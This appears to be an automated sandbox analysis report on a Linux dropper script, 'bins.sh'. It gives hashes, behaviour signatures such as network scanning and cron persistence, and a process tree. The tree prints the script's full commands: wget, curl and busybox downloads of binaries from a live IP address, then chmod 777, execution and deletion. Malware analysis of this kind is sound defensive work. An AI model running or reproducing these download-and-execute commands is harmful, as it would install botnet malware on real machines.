Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-11-2024 08:42

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    7da3d09285662f015a162602906af510

  • SHA1

    95846220d35527f54a0188fc1c6eec9b2a95ca41

  • SHA256

    a029308885668468eea28efc4371df7889682465f8f5b68eded12f84cf1043c6

  • SHA512

    23ab4fd32a64ce0a44f6f8b8d03e7dfe0006fb1d0bae1a7fe0804863d3a62cc6f7fd706c97d0db3e3f7176fd6388a29721cf5efb536ef2eda166564785a5c9d9

  • SSDEEP

    192:OYzm11KB1rOvMNNMBjm/rXorTKWNNMBHrXorTMIu11KB1/va:Bzm11KB1rgm/rXorTKrrXorTNu11KB1q

Malware Config

Signatures

  • Contacts a large (2140) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1498
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1499
        • /usr/bin/wget
          wget http://87.120.84.230/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Writes file to tmp directory
          PID:1500
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Writes file to tmp directory
          PID:1504
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Writes file to tmp directory
          PID:1509
        • /bin/chmod
          chmod 777 J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • File and Directory Permissions Modification
          PID:1510
        • /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          ./J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Executes dropped EXE
          PID:1511
        • /bin/rm
          rm J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
            PID:1513
          • /usr/bin/wget
            wget http://87.120.84.230/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • Writes file to tmp directory
            PID:1514
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • Writes file to tmp directory
            PID:1518
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • Writes file to tmp directory
            PID:1519
          • /bin/chmod
            chmod 777 zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • File and Directory Permissions Modification
            PID:1520
          • /tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            ./zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • Executes dropped EXE
            PID:1521
          • /bin/rm
            rm zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
              PID:1523
            • /usr/bin/wget
              wget http://87.120.84.230/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • Writes file to tmp directory
              PID:1524
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • Writes file to tmp directory
              PID:1525
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • Writes file to tmp directory
              PID:1526
            • /bin/chmod
              chmod 777 UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • File and Directory Permissions Modification
              PID:1527
            • /tmp/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              ./UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • Executes dropped EXE
              PID:1528
            • /bin/rm
              rm UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
                PID:1530
              • /usr/bin/wget
                wget http://87.120.84.230/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU
                2⤵
                • Writes file to tmp directory
                PID:1531
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU
                2⤵
                • Writes file to tmp directory
                PID:1532
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU
                2⤵
                • Writes file to tmp directory
                PID:1533
              • /bin/chmod
                chmod 777 EplximRG78lPSPojYmUgyc957YaLsSA8nU
                2⤵
                • File and Directory Permissions Modification
                PID:1534
              • /tmp/EplximRG78lPSPojYmUgyc957YaLsSA8nU
                ./EplximRG78lPSPojYmUgyc957YaLsSA8nU
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:1535
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:1537
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:1538
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:1539
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:1540
                    • /bin/rm
                      rm EplximRG78lPSPojYmUgyc957YaLsSA8nU
                      2⤵
                        PID:1542
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
                        2⤵
                          PID:1545

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/EplximRG78lPSPojYmUgyc957YaLsSA8nU

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b

                        Filesize

                        151KB

                        MD5

                        3c90d5820bddcf7c5d1bd21dfa49d958

                        SHA1

                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                        SHA256

                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                        SHA512

                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                      • /tmp/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI

                        Filesize

                        107KB

                        MD5

                        eb9c3a0de91fcf16ba17cb24608df68c

                        SHA1

                        09d95a7d70d5e115d103be51edff7c498d272fac

                        SHA256

                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                        SHA512

                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                      • /tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB

                        Filesize

                        111KB

                        MD5

                        ca897a38f23ec23521ce0b1b83f8422d

                        SHA1

                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                        SHA256

                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                        SHA512

                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                      • /var/spool/cron/crontabs/tmp.nstJxz

                        Filesize

                        210B

                        MD5

                        45c7e98d5db99c5ee274ccd04cfa21e0

                        SHA1

                        a7bc7ba63caf23893ab86723a593f93f248d4498

                        SHA256

                        4aa44749c66d8eed7d0d827105371d7f2f88731a4466efc97dc7d8e2f83be85a

                        SHA512

                        fde825c3bbf756e46dfe4c3ad3ee101f42a7f11d0e8d0a6a6b013ece00339c5425cc0d60e9fbe35fe2c544ad8a76a288d3e5e77feb429be4c7b47750b0dcbb35